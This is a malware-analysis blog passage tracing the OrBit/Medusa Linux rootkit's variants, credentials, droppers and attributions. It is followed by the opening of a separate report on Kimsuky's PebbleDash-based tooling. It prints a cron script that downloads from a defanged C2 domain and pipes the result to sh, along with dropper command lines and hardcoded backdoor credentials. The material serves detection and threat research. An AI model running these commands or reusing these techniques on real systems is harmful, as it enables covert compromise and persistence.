The first version shows a slight change: the username and password for the SSH connection, and the exported functions. Credential mechanism shift: 40b5127c resolved the backdoor username dynamically via the getpwuid hook; ec7462c3 dropped that hook entirely and hardcodes adm1n directly in the XOR-encrypted string table. The working folder was changed to libseconf. For the most part, the later variants will use this path.

All other capabilities are identical: file I/O interception, stat hiding, PAM credential capture, TCP port hiding (alloc_tcp_ports/remove_port/tcp_port_hidden), load monitoring (.showload/.maxload), pcap sniffing, LD_PRELOAD management, log suppression, and process hiding.

The transition from 2022 to 2023 is essentially a redeployment with new credentials and a more convincing install path, plus a minor simplification (dropping dynamic UID lookup in favor of a hardcoded username).

The rootkit’s hook surface stayed stable.

Hash XOR Working dir Username Password Exports # Hooks Dropper
ec7462c3 0xA2 /lib/libseconf/ adm1n asdfasdf 67 53 8ea420d9

Samples From 2023

Hash XOR Working dir Username Password Exports # Hooks Dropper
d419a9b1 0xA2 /lib/fuckwhitehatshome/ fuckwhitehatsuser fuckwhitehatspass 67 53
296d28eb 0xA2 /lib/libseconf/ adm1n asdfasdf 65 54
3ba6c174 0xA2 /lib/libseconf/ adm1n (not present) 54 49 26082cd3
4203271c 0xA2 /lib/libseconf/ b4ph0m3t0 (not present) 54 49

The d419a9b1 sample stands out for the operator’s choice of the install path (/lib/fuckwhitehatshome/) and the SSH username and password. No other known samples use these strings, suggesting a different operator or persona authored this particular build rather than it simply being a different deployment of the same toolkit. Functionally, it carries the full 2022-era hook set, with 65 exports.

The 296d28eb sample is a full-featured build that uses the libseconf path and the same SSH credentials as ec7462c3. But this sample also has an evolutionary step: dropped TCP port hiding, added the exported xread function. This is not an LD_PRELOAD hook on a system library; it’s a wrapper that calls syscall(SYS_read) directly, bypassing the rootkit’s own hooked read().

The rootkit hooks the libc read() function; the hook filters out rootkit artifacts from files such as/proc/net/tcp and directory listings. Some C programs, such as Git, define their own internal
xread() helper that wraps read() to handle partial reads and EINTR. Normally, these internal helpers call libc read(), which the rootkit intercepts and filters. By exporting its own xread, which directly calls syscall (SYS_read), the rootkit shadows these program-internal helpers with a version that bypasses its own read hook entirely. This is a compatibility fix: without it, any program that defines xread would receive the rootkit’s filtered output through its core I/O path, potentially corrupting SSH protocol streams, breaking git operations, or causing other malfunctions that could expose the rootkit’s presence. The hook ensures that programs continue to function normally while the rootkit’s read interception remains active for standard libc callers.

This variant is still part of Lineage A.

00417249    uint64_t xread(int32_t fd, int64_t buf, int32_t count)

00417249    {
00417249        int32_t i = count;
0041725b        int32_t bytes_read = 0;
00417262        int32_t var_c = 0;
00417262        
004172ad        do
004172ad        {
0041728a            // SYS_read
0041728a            int32_t read_result = syscall(0, (uint64_t)fd, buf, (uint64_t)i);
0041728a            
00417296            if (read_result <= 0) 00417298 return (uint64_t)bytes_read; 00417298 004172a0 bytes_read += read_result; 004172a6 i -= read_result; 004172ad } while (i > 0);
004172ad        
004172af        return (uint64_t)bytes_read;
00417249    }

           The exported xread function in sample 296d28eb

3ba6c174 / 4203271c: Lineage B lite build

Both files, 3ba6c174 and 4203271c, represent the first appearance of Lineage B, a deliberately lite fork of the OrBit rootkit. Both are dynamically linked shared objects using the standard 0xA2 XOR key and installed in /lib/libseconf/, but they export only 54 functions, compared to the 67 in their closest Lineage A contemporaries (d419a9b1, ec7462c3). The 13 removed exports strip out three entire capability domains: network port-hiding (alloc_tcp_ports, remove_port, tcp_port_hidden, clean_ports), PAM credential interception (pam_authenticate, pam_acct_mgmt, pam_open_session, pam_get_password), and packet capture (pcap_loop, pcap_packet_callback). The string table reflects this (.logpam and .udp are absent), though .ports, .hosts, and sshpass2.txt are retained. This reduced feature set suggests they were purpose-built for different target environments where a smaller footprint or more limited functionality was either sufficient or preferred.

The most notable change is the complete absence of a backdoor password. Every Lineage A sample embeds a password in its XOR-encrypted string block, but in both 3ba6c174 and 4203271c, the password field is missing. Each sample carries a distinct username (adm1n and b4ph0m3t0, respectively), and these are the only byte-level differences between the two binaries. This pattern of 54 exports, no password, no PAM/pcap hooks, held consistent across all subsequent Lineage B samples through 2024.

Samples From 2024

Hash XOR Working dir Username Password Exports # Hooks Dropper
eea274ed 0xAA /lib64/libseconf/ Y0u4reCu6e 1qaz@WSX3edc123 66 54
a6138638 0xAA /lib/locate/ Y0u4reCu6e 1qaz@WSX3edc123 66 54
a34299a1 0xA2 /lib/libseconf/ rebel (not present) 56 49
b1dd18a6 0xA2 /lib/libseconf/ Gestuff (not present) 54 49 fc2e0cb6
989f7eb4 0xA2 /lib/libseconf/ adm1n (not present) 54 49 48a68d05

2024 is the most diverse epoch in OrBit’s timeline, with both lineages active simultaneously and an encryption key change in the Lineage A branch.

eea274ed / a6138638: Lineage A, 0xAA key rotation

These two samples belong to the same lineage: identical XOR key (0xAA is a break from the long-standing 0xA2), identical credentials (Y0u4reCu6e / 1qaz@WSX3edc123), and identical hook count (54). The only structural difference is the install path: /lib64/libseconf/ versus /lib/locate/. This is probably a deliberate path rotation to evade detections anchored on the previously documented /lib/libseconf/ directory. Credentials are stored inline in the XOR-encrypted block rather than written to sshpass.txt, representing a shift in the credential storage model. Both samples also have a reduced hook for the’ execve’ function: the execve hook handles persistence maintenance (apt/yum), output sanitization (dmesg), and ldd defeat. Compared to other samples in the lineage, it is a reduced feature set: no strace interception, no IP/iptables hooks, no command logging.

Despite sharing the same hook count, the two samples do not share the same hook set. a6138638 swaps read/write for readdir_r/readdir64_r, indicating a targeted adjustment to the directory-hiding mechanism. A string-level diff reveals more changes: 

  • Credential harvesting is saved in remote.txt.
  •  This variant captures only SSH logins, not sudo sessions ([sudo] pass is missing).

The result is 52 decoded XOR strings in eea274ed versus 47 in a6138638. Both samples retain .udp, .pts, and the credential pair, preserving the core backdoor functionality. The removals target logging and forensic-capture features, suggesting a6138638 was tailored for a deployment where a lighter footprint was preferred.

a34299a1 / b1dd18a6 / 989f7eb4: Lineage B continuation

These samples continue the 54-export lite build lineage that first appeared in 2023 with 3ba6c174/4203271c. The hook set is identical (49 hooks), the XOR key remains 0xA2, and the same capability domains are absent: no PAM credential interception, no pcap sniffing, no TCP port hiding. The password field is still missing from the binary. Each sample carries a distinct username (rebel, Gestuff, adm1n, respectively), consistent with the Lineage B pattern of per-deployment username rotation, with no corresponding password.

989f7eb4 is the payload extracted from the 48a68d05 dropper. It was not on VT; we uploaded it.

Samples From 2025

Hash XOR Working dir Username Password Exports # Hooks Role
8e83cbb2 0xA2 /lib/libseconf/ infinity 302010 66 54 payload .so
2b2eeb22 0xA2 /lib/libseconf/ adm1n asdfasdf 64 54 payload .so (extracted from d3d204c1)
84828f31 0xA2 /lib/libseconf/ adm1n asdfasdf 64 54 truncated copy of 2b2eeb22
090b15fd dropper (carries 8e83cbb2)
64a3ebd3 dropper (carries 8e83cbb2)
b85ed157 dropper (carries 8e83cbb2)
d3d204c1 dropper (carries 2b2eeb22)
73b95b7d n/a infector (carries 090b15fd as inner ELF)

The 2025 epoch marks two significant capability additions to Lineage A and confirms the rootkit’s return to the 0xA2 encryption key after the 2024 0xAA experiment.

Two distinct rootkit .so builds are present in 2025, both Lineage A:

8e83cbb2 represents the most capable build to date. Its 66-export set includes a significant new hook not seen in any prior variant: pam_sm_authenticate. This is the PAM service-side authentication function, meaning the rootkit now hooks both sides of the PAM stack. Where earlier variants could only passively capture credentials via client-side pam_authenticate, this build can also forge authentication outcomes, allowing the attacker to approve or deny login attempts at will. The export set also includes xread, first seen in 296d28eb (2023).

2b2eeb22 is a second Lineage A payload with 64 exports. XOR 0xA2 decode confirms credentials adm1n/asdfasdf, the same operator behind ec7462c3 (2022), 296d28eb (2023), and the 26082cd3 inner payload (2024), now spanning four years. 84828f31 is a truncated copy of 2b2eeb22 (same BuildID: cbc9724027399723a27daa4114ffcdf906cb802f, identical bytes up to 107KB, missing the trailing 102KB containing section headers and symbol tables), it is likely an incomplete extraction or download artifact. It is not a distinct sample.

XOR 0xA2 string decode of both payloads confirms the full Lineage A string set is restored: sshpass.txt and sshpass2.txt both present, plus .logpam, .udp, .ports (×2), /proc/net/tcp. The string removals introduced by the 2024 0xAA cluster (a6138638‘s missing local.txt, sniff.txt, etc.) were not carried forward, and both builds return to the comprehensive logging and credential-capture model.

Dropper Samples

090b15fd, 64a3ebd3, and b85ed157 are statically linked ELF executables that carry 8e83cbb2 as an embedded .so and share the same Build ID: da256c78910c552eb334814ada85c7655b717c4f. d3d204c1 is the same type of dropper carrying 2b2eeb22. All four share the same architecture first seen in f1612924 (from 2022).

73b95b7d: A New Dropper Architecture

73b95b7d is not just a dropper, it is an infector that carries the dropper as an embedded payload. This creates a two-stage delivery chain: infector → dropper → rootkit.

The inner binary (090b15fd, embedded at file offset 0x20d7) is the dropper we previously saw. The infector’s role is propagation and persistence; the dropper’s role is to extract and install the rootkit .so via ld.so.preload.

The infector scans the filesystem for ELF binaries and injects the second-stage payload into them. An infection marker bongripz4jezuz (stored in base64 encoding as: Ym9uZ3JpcHo0amV6dXoK) is checked before each infection attempt to avoid re-infecting the same target. The injected binaries include:

  • /bin/ls
  • All 64-bit ELF files in the current working directory that have read/write access.

Additionally, /etc/cron.hourly/0 is created as a persistence mechanism (to download and execute a remote payload), though it is a shell script rather than an ELF injection target.

#!/bin/sh
wget --quiet http://cf0[.]pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1

This is the first OrBit component with any form of C2 communication. Every previous version was a purely passive implant, meaning the attacker connected via the SSH backdoor. 

This introduces an external command channel that can deliver updated payloads or instructions, adding a reinfection mechanism on top of ld.so.preload persistence.

The earlier droppers stored all paths and commands as plaintext. 73b95b7d is the first dropper to implement string protection: a custom substitution cipher using two lookup tables at .data offsets for the cipher and plain, each with 88 entries, defining a character-by-character mapping. Notably, this is a different scheme from the XOR encryption used by the previous rootkit payloads.

char mw_plain_table[0x4e] = "0123456789abcdefghijklmnopqrstuvzywxABCDEFGHIJKLMNOPQRSTUVZYWX|:. !#-/;&*\'\"\n\r", 0
char mw_cipher_table[0x58] = "<>@o$:,.l+*^?=)(|AB&%;D{!wkUxzvutsrqp_nm-ihgfFCcba~K23456789eyd1XSNQWTZMIRHGVOYLjPJE/][", 0

Connection to RHOMBUS

The structure of this dropper, which delivers the OrBit payload in the final stage, is identical to that described in this APNIC blog that analyzed a dropper that delivered RHOMBUS malware.

Rhombus is a Linux-based botnet malware first reported in February 2020 by the MalwareMustDie research group, which analyzed and shared samples of it. It acts as an installer/dropper that persists on infected devices, drops a second-stage payload, and then uses the compromised system for DDoS activity. The target systems are VPS and IoT devices. (SHA256 of the dropper: b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784).

Interestingly, the dropper 73b95b7d that delivers the OrBit payload in the final stage is identical to the one used in the Rhombus campaign 6 years ago. Coincidentally, both droppers use the same domain to download the payload as part of the cron-job-based persistence. The current resolution of the domain is to 109.95.212[.]253. The host has a unique BANNER_0_HASH-IP value, ba0c31785465186600a76b7af2a37aa6, that is shared with only one other IP, 109.95.211[.]141, as shown in the screenshot below from Validin. Based on the ASN resolution, both IP addresses are located in Russia.

The fact that the OrBit dropper shares the same domain as malware from 6 years ago can also be interpreted as an attempt to mislead researchers; therefore, we are not taking this evidence into account for attribution at this moment. However, it is worth noting that this connection exists.

Shared BANNER_0_HASH-IP value.
Resolution of http://cf0[.]pw

Samples From February 2026

Hash XOR Working dir Username Password Exports # Hooks
04c06be0 0xA2 /lib/libseconf/ jokerteam HACK89SERVER 64 54
d7b487d2 0xA2 /lib/libseconf/ 57ill4Cu63 1qaz@WSX3edc098 64 54

These two samples are confirmed to be identical in structure: the same 54-hook set, the same XOR key (0xA2), and the same working directory (/lib/libseconf/). The only difference is credentials: jokerteam/HACK89SERVER versus 57ill4Cu63/1qaz@WSX3edc098. XOR 0xA2 decode confirms the full Lineage A string set.

No Lineage B samples have surfaced since 2024, suggesting the lite build may have been retired or consolidated back into the main branch.

Connection to BLOCKADE SPIDER

In CrowdStrike’s 2026 Global Threat Report, they mention that BLOCKADE SPIDER used the OrBit backdoor to maintain persistence and stealthy access to virtualization environments.

BLOCKADE SPIDER is a CrowdStrike-tracked eCrime adversary that has been active at least since 2024. They are known for running Embargo ransomware campaigns using sophisticated, multi-domain attack techniques.

Origin: OrBit is a fork of the Medusa open-source rootkit

Mandiant’s reporting on UNC3886 espionage operations identifies MEDUSA and its installer, SEAELF, as tools used by this state-sponsored actor against Juniper and VMware infrastructure. Essentially, OrBit is built from Medusa, an open-source LD_PRELOAD rootkit published on GitHub (github.com/ldpreload/Medusa) in December 2022.

Mandiant’s MEDUSA configuration table matches our 2024 Lineage A 0xAA-key cluster exactly across four independent fields: the XOR key 0xAA, the backdoor credentials Y0u4reCu6e and 1qaz@WSX3edc123, the install path /lib/locate/, and a modification to the rootkit that redirects strace output to /tmp/orbit.txt. That literal orbit filename, preserved as a plaintext artifact inside UNC3886’s MEDUSA binary, is direct cross-attribution: Mandiant’s “MEDUSA” sample set and our “OrBit” 2024 cluster are the same builds.

We compiled Medusa from source and compared the resulting binaries byte-for-byte against our OrBit corpus. The match is unambiguous, and it rewrites the attribution and evolution story.

Evidence of the fork

The first is a function-set and export match. Compiling Medusa’s src/rkld.c against the default Makefile recipe produces a shared object whose function set, hook list, and XOR-obfuscated string table are a direct superset match for OrBit Lineage A samples. The 2022 OrBit baseline (ec7462c3) shares all core exports with the Medusa build and reuses the identical XOR 0xA2 string obfuscation scheme driven by Medusa’s build-time xor_dump() pipeline, with the XOR key itself hardcoded in config.c.

The second is a source-filename fingerprint that is present in almost every sample we analyzed. Some of the samples ship with an unstripped ELF .symtab. The resulting filenames are preserved verbatim: rootkit samples carry rkld.c and, when Lineage A is linked in, rknet.c, while loader samples carry rkload.c. Those are the exact names of Medusa’s source files, src/rkld.c, src/rknet.c, and src/rkload.c. The filenames themselves are not secret, since the Medusa repository is public, but their verbatim presence in the compiled binary is a strong attribution anchor: every unstripped sample directly identifies the upstream tree it was built from. Of the samples in our corpus, only three are fully stripped (the 2025 dropper 73b95b7d, and the rootkit binaries a6138638 and b9822764). Three representative samples are shown below: a full Lineage A rootkit (ec7462c3, 2022), a Lineage B lite rootkit (3ba6c174, 2023), and the SEAELF loader (26082cd3, 2024).

$ readelf -s ec7462c3f4a874… | awk ‘/FILE    LOCAL/’

    25: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

    34: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rkld.c

    40: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rknet.c

    46: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

$ readelf -s 3ba6c174a72e4b… | awk ‘/FILE    LOCAL/’

     1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

     9: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rkld.c

    15: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

$ readelf -s 26082cd36fdaf7… | awk ‘/FILE    LOCAL/’

     1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

     9: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rkload.c

    14: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

The Lineage A rootkit carries both rkld.c and rknet.c; the Lineage B rootkit, which omits the advanced hook set, carries only rkld.c; and the loader carries rkload.c. The same pattern holds across the wider corpus.

Alongside the filename fingerprint, the loader’s entry-point dispatch, its build_root() filesystem layout (.boot.sh, .logpam, sshpass.txt, sshpass2.txt, .ports), and its SELinux setxattr sequence all map one-to-one to the Medusa source.

The third is an embedded inner ELF produced by xxd -i. Medusa’s Makefile embeds build/rkld.so into the loader using the xxd -i build/rkld.so > build/rkld.h step, which is then included by the loader compiled at Makefile line 33. OrBit’s loader binaries follow this pattern: a rkld.so blob embedded as a C byte array within the loader ELF, dropped to disk at runtime. The embedding technique, offset layout, and post-drop execution flow are identical.

Per-Module Source Mapping

Medusa’s source tree maps cleanly onto the OrBit binary set we have tracked:

Medusa source Role Corresponding OrBit artifact
src/rkld.c Main rootkit (libc hooks, PAM harvest, file/proc/net hiding) All Lineage A / Lineage B rootkit .so samples
src/rkload.c Installer / SEAELF loader (patches ld.so, writes /etc/ld.so.preload, drops inner rootkit) 26082cd3 and related loader/installer samples
src/rknet.c Advanced hooks: xread, audit_log_acct_message, audit_log_user_message, pam_sm_authenticate, pcap_loop, port-hiding Not compiled in the default Makefile. Linked in only in Lineage A “full” builds.

The Medusa default Makefile compiles only src/rkld.c. Every Lineage A capability that appeared to “arrive” in OrBit between 2023 and 2025 was already present as source in Medusa’s src/rknet.c on day one of the public release. The operators’ work was to modify the Makefile to link rknet.c into their build, not to author those functions.

Timeline Anomaly

Our analysis shows that an initial OrBit sample (40b5127c) appeared in July 2022, predating the repository’s publication by approximately 5 months. Based on this information, there are two options: either the Medusa author published a privately-circulated rootkit source that had already been deployed operationally, or the earliest OrBit sample was built from a pre-publication snapshot of the same tree. Either way, the 2022 OrBit sample and the December 2022 Medusa source tree are the same codebase. The question is only which commit was made public first.

Implications

The appearance of a single rootkit family across four years does not imply a single operator. OrBit and Medusa have been built and deployed by at least three unrelated actor clusters we can presently distinguish, including the state-sponsored espionage activity attributed to UNC3886, the eCrime ransomware operations run by BLOCKADE SPIDER, and the 2025 cron-dropper campaign previously linked to RHOMBUS infrastructure. Attribution at the family level is therefore not enough, and defenders tracking an OrBit infection should separate the questions of which codebase was used from which operator configured and deployed it.

Tracking version-over-version changes in OrBit reads less like an active malware development project and more like a record of build-flag toggles, credential rotations, and install-path swaps against a stable upstream. The capability ceiling is set by the Medusa source tree as it existed in December 2022, and every apparent new feature we observed between 2023 and 2025 was already present in that tree, waiting for an operator to link it in. The xread read-hook bypass we first flagged as a 2023 compatibility shim is a function in src/rknet.c. The auditd evasion pair we called out as a 2024 addition, audit_log_acct_message and audit_log_user_message, sits in the same file. The PAM stack we noted as gradually expanding across versions, including pam_authenticate, pam_acct_mgmt, pam_open_session, and the 2025 service-side impersonation hook pam_sm_authenticate, is all present in the same rknet.c, as is the pcap_loop packet hook that appears in full Lineage A builds. None of these files is linked in by the default Makefile recipe, which compiles only src/rkld.c. Their arrival in individual OrBit samples corresponds to an operator modifying the build to include rknet.c, not to new code being written. 

Signatures based on invariants of the Medusa build pipeline will also flag builds from operators we have not yet seen. Three such invariants are worth calling out. 

  • The string table produced by Medusa’s xor_dump() routine, which emits every protected string as a contiguous block of single-byte XOR-obfuscated byte arrays within the compiled binary. Operators change the key value (0xA2 in most builds, 0xAA in the 2024 UNC3886 cluster) and some paths, but the table’s shape and the majority of its entries are fixed by the source. A YARA rule that decodes the table with a variable single-byte key and matches on a threshold count of known plaintext strings catches any build, regardless of which key was chosen. 
  • The filesystem skeleton that the loader’s build_root() writes into its install directory. Operators vary only the parent directory (/lib/libseconf/, /lib/locate/, /lib/libntpVnQE6mk/), so host-based detection can alert on the co-occurrence of that filename set inside any directory, and binary-level signatures can match the embedded filename constants and the setxattr call pattern directly. 
  • The nested-ELF structure produced by the xxd – +i build/rkld.so > build/rkld.h step in the Makefile, which bakes a full secondary ELF into the loader’s .rodata. Every Medusa loader therefore carries a second ELF magic inside its own image, followed by a length constant, and, if the binary is not stripped, two xxd-generated symbols (rkld_so and rkld_so_len ). The nested-ELF shape on its own is not specific enough to be a detection signature: plenty of legitimate software and unrelated malware use xxd -i or equivalent techniques to embed a payload, and any such binary will match a naive “second ELF at non-zero offset plus length constant” rule. The Medusa-specific part is the pairing of that structural pattern with (a) the symbol names rkld_so and rk +ld_so_len in the loader’s symbol table when the binary is not stripped, and (b) the inner ELF itself, matching the rootkit fingerprint described earlier in this section, which gives both a family-level anchor and a structural one.

Conclusion

The analysis of OrBit variants from 2022 through early 2026 reveals a Linux rootkit whose code later surfaced in an open-source codebase named Medusa. This suggests that the backdoor was created before its public release and has since been selectively forked, configured, and redeployed by multiple operators over four years. We identified two parallel build paths: the comprehensive Lineage A (“Full” build), which links in Medusa’s src/rknet.c advanced hook set, and the temporary Lineage B (lite build), which ships only the src/rkld.c core and was retired after 2024. Apparent “milestones” in Lineage A are the xread wrapper (2023), the audit_log_* auditd-evasion hooks (2024), and the 2025 addition of the pam_sm_authenticate hook, which corresponds one-to-one with functions already present in Medusa’s published source. The operator work is in the build configuration and deployment, not the C code.

Our analysis of the OrBit samples also discovered that at least 3 different operators are using the backdoor. A major operational shift occurred in 2025 with the introduction of a new two-stage infector architecture, marking one operator’s transition from a purely passive SSH-backdoor implant to malware with its first direct C2 capability. This infector utilizes a cron job to fetch external payloads from the domain cf0[.]pw. The architecture of this new dropper is identical to one used in the 2020 RHOMBUS botnet campaign, suggesting shared tooling or operator overlap, a link further cemented by the C2 domain resolving to infrastructure located in Russia. In parallel, the same Medusa codebase was weaponized upstream by the state-sponsored espionage actor UNC3886 (tracked by Mandiant). The 2024 0xAA-key cluster we tracked as Lineage A corresponds exactly to UNC3886’s MEDUSA configuration, including the backdoor credentials, the install path, and a strace artifact that retains the literal “orbit” string. The rootkit has also been adopted by the CrowdStrike-tracked eCrime adversary BLOCKADE SPIDER since at least 2024, who leverage OrBit for stealthy persistence against VMware vCenter infrastructure to facilitate the deployment of Embargo ransomware. The continued emergence of new Lineage A samples in 2026, accompanied by operator-specific credential rotation, confirms that a single public rootkit codebase is being cloned and configured by multiple unrelated actor groups.

IOC Table

SHA256 Year Role Lineage
40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020 2022 payload A
ec7462c3f4a87430eb19d16cfd775c173f4ba60d2f43697743db991c3d1c3067 2022 payload A
f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8 2022 dropper
d419a9b17f7b4c23fd4e80a9bce130d2a13c307fccc4bfbc4d49f6b770d06d3b 2023 payload A
296d28eb7b66aa2cbea7d9c2e7dc1ad6ce6f97d44d34139760c38817aec083e7 2023 payload A
3ba6c174a72e4bf5a10c8aaadab2c4b98702ee2308438e94a5512b69df998d5a 2023 payload B
4203271c1a0c24443b7e85cbf066c9928fcc69934772a431d779017fb85c9d73 2023 payload B
eea274eddd712fe0b4434dbef6a2a92810cb13b8be3deca0571410ee78d37c9f 2024 payload A
a61386384173b352e3bd90dcef4c7268a73cd29f6ae343c15b92070b1354a349 2024 payload A
a34299a16cf30dac1096c1d24188c72eed1f9d320b1585fe0de4692472e3d4dc 2024 payload B
b1dd18a6a4b0c6e2589312bbec55b392a20a95824ffe630a73c94d24504c553d 2024 payload B
989f7eb4f805591839bcbc321dd44418eb5694d1342e37b7f24126817f10e37e 2024 payload (extracted) B
8ea420d9aa341ba23cdea0ac03951bce866c933ba297268bc7db8a01ce8e9b8e 2024 payload (static ELF) A
26082cd36fdaf76ec0d74b7fbf455418c49fbab64b20892a873c415c3bb60675 2024 loader
48a68d0555f850c36f7d338b1a42ed1a661043cacf2ba2a4b0a347fac3cb3ee6 2024 dropper
fc2e0cb627a00d0e4509bd319271721ea74fb11150847213abe9e8fea060cc8a 2024 dropper
8e83cbb2ed12faba9b452ea41291bcebdce08162f64ac9a5f82592df62f47613 2025 payload A
2b2eeb2271c19e2097a0ef0d90b2b615c20f726590bbfee139403db1dced5b0a 2025 payload A
84828f31d741f92ce4bca98cfc2148ff8cff6663e2908a025b1386dd4953ffef 2025 payload (truncated) A
090b15fd8912cab340b22e715d44db079ec641db5e2f92916aa1f2bc9236e03e 2025 dropper
64a3ebd3ad3927fc783f6ac020d5a6192e9778fb16b51cceba06e4ee5416adff 2025 dropper
b85ed15756568b85148c1d432a8920f81e4b21f2bc38f0cf51d06ced619e0e77 2025 dropper
d3d204c19d93e5e37697c7f80dd0de9f76a2fb4517ced9cafd7d7d46a6e285ba 2025 dropper
73b95b7d1006caf8d3477e4a9a0994eaa469e98b70b8c198a82c4a12c91ad49a 2025 infector
04c06be0f65d3ead95f3d3dd26fe150270ac8b58890e35515f9317fc7c7723c9 2026 payload A
d7b487d2e840c4546661f497af0195614fc0906c03d187dc39815c811ea5ec3f 2026 payload A
b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784 2020 RHOMBUS dropper

 

 

The post OrBit (Re)turns: Tracking an open-source Linux rootkit across four years of forks and deployments appeared first on Intezer.

Kimsuky targets organizations with PebbleDash-based tools

14 May 2026 at 13:00

Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

  • Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
  • Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
  • The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
  • For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
  • For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
  • Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

Timeline of the AppleSeed and PebbleDash malware families

Timeline of the AppleSeed and PebbleDash malware families

AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

Number Filename Filename (translated to English) Detection date MD5 Malware deployed
1 [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse August 28, 2025 995a0a49ae4b244928b3f67e2bfd7a6e HelloDoor
2 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse December 14, 2025 52f1ff082e981cbdfd1f045c6021c63f httpMalice
3 security_20260126.scr January 26, 2026 65fc9f06de5603e2c1af9b4f288bb22c Reger Dropper, MemLoad, httpTroy
4 노현정님.pdf.jse Ms. Noh Hyun-jung.pdf.jse January 28, 2026 8e15c4d4f71bdd9dbc48cd2cabc87806 AppleSeed chain
5 대국민서비스관리운영체계현장점검증적(초안).pif On-site Inspection Evidence for the Public Service Management System (Draft).pif February 5, 2026 8983ffa6da23e0b99ccc58c17b9788c7 Pidoc Dropper, HappyDoor

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

